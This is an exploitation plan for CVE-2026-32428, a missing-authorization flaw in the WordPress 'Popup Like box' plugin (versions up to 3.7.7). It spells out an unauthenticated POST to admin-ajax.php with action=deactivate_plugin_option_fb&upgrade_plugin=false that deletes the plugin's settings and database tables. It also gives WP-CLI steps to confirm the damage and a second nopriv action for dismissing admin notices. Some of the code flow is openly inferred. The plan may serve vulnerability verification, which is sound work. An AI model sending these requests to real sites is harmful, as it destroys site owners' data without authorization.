Exploitation Research Plan - CVE-2026-32428

1. Vulnerability Summary

The Popup Like box – Page Plugin (versions <= 3.7.7) contains a "Missing Authorization" vulnerability. Specifically, the plugin registers AJAX handlers for both authenticated and unauthenticated users (wp_ajax_ and wp_ajax_nopriv_) without implementing capability checks or nonce verification in the handler functions.

The most critical entry point is the deactivate_plugin_option_fb action, which is intended to handle data cleanup when the plugin is deactivated or uninstalled. An unauthenticated attacker can trigger this action to delete the plugin's configuration and database tables, leading to a loss of data and functional disruption (Denial of Service of the plugin's features).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: deactivate_plugin_option_fb
• Parameter: upgrade_plugin (boolean-ish string)
• Authentication: None (Unauthenticated)
• Preconditions: The plugin must be active.

3. Code Flow

1. Registration: In includes/class-ays-facebook-popup-likebox.php, the define_admin_hooks() method registers the AJAX actions:

   $this->loader->add_action( 'wp_ajax_deactivate_plugin_option_fb', $plugin_admin, 'deactivate_plugin_option');
   $this->loader->add_action( 'wp_ajax_nopriv_deactivate_plugin_option_fb', $plugin_admin , 'deactivate_plugin_option');
   

2. Trigger: An attacker sends a POST request to admin-ajax.php with action=deactivate_plugin_option_fb.
3. Execution: The request is routed to Ays_Facebook_Popup_Likebox_Admin::deactivate_plugin_option.
4. Logic (Inferred): Based on admin/js/admin.js, the function reads the upgrade_plugin POST parameter. If set to false, it proceeds to "Uninstall" the data. The script states: "Uninstall: Your data will be deleted completely." This likely involves calling delete_option() or DROP TABLE on the plugin's custom tables.

4. Nonce Acquisition Strategy

According to the source code and the vulnerability type, no nonce is required.

• Verification: In admin/class-ays-facebook-popup-likebox-admin.php, the localization for the script handling this AJAX (fb_likebox_ajax) only includes the ajax_url:

  wp_localize_script($this->plugin_name . '-admin', 'fb_likebox_ajax', array('ajax_url' => admin_url('admin-ajax.php')));
  

• No nonce is generated or passed to the admin.js script.
• The admin.js file confirms this by sending only action and upgrade_plugin in the data object.

5. Exploitation Strategy

The goal is to trigger the permanent deletion of plugin data.

Step 1: Trigger Data Deletion

Send a POST request to the AJAX endpoint.

• URL: http://TARGET_URL/wp-admin/admin-ajax.php
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:

  action=deactivate_plugin_option_fb&upgrade_plugin=false
  

6. Test Data Setup

1. Install and Activate: Ensure ays-facebook-popup-likebox version 3.7.7 is installed and active.
2. Verify Initial State:
   • Check for the existence of the plugin's main settings option:
     wp option get ays_fb_likebox_settings (or similar, based on ays-facebook-popup-likebox settings naming convention).
   • Check for database tables:
     wp db query "SHOW TABLES LIKE '%ays_fpl%';"
3. Create a Sample Likebox: Create at least one likebox via the admin UI or CLI to ensure there is data to be deleted.

7. Expected Results

• The AJAX request should return a 200 OK status (and likely a JSON response or 0/1).
• The plugin's configuration options in the wp_options table will be deleted.
• The plugin's custom database tables (e.g., those containing likebox definitions) will be dropped or emptied.

8. Verification Steps

After performing the exploit, verify the impact using WP-CLI:

1. Check Options:
   wp option get ays_fb_likebox_settings
   Expected Result: Error: "Could not find the option with key..."
2. Check Tables:
   wp db query "SHOW TABLES LIKE '%ays_fpl%';"
   Expected Result: Empty result (tables are gone).
3. Check Frontend:
   Navigate to a page where a Likebox was previously displayed.
   Expected Result: The Likebox no longer appears.

9. Alternative Approaches

Secondary Target: Dismiss Banner

The action ays_fpl_dismiss_button is also registered via nopriv and likely lacks authorization.

• Action: ays_fpl_dismiss_button
• Body: action=ays_fpl_dismiss_button
• Impact: While less severe, this allows an unauthenticated user to dismiss admin notices for the site administrator, interfering with the administrative interface.

Reverse Logic: Upgrade Flag

Try setting upgrade_plugin=true. If the plugin code is poorly structured, even the "Upgrade" branch might modify options or state in an unauthorized way, though upgrade_plugin=false (Uninstall) is the primary path for confirming "Missing Authorization" causing impact.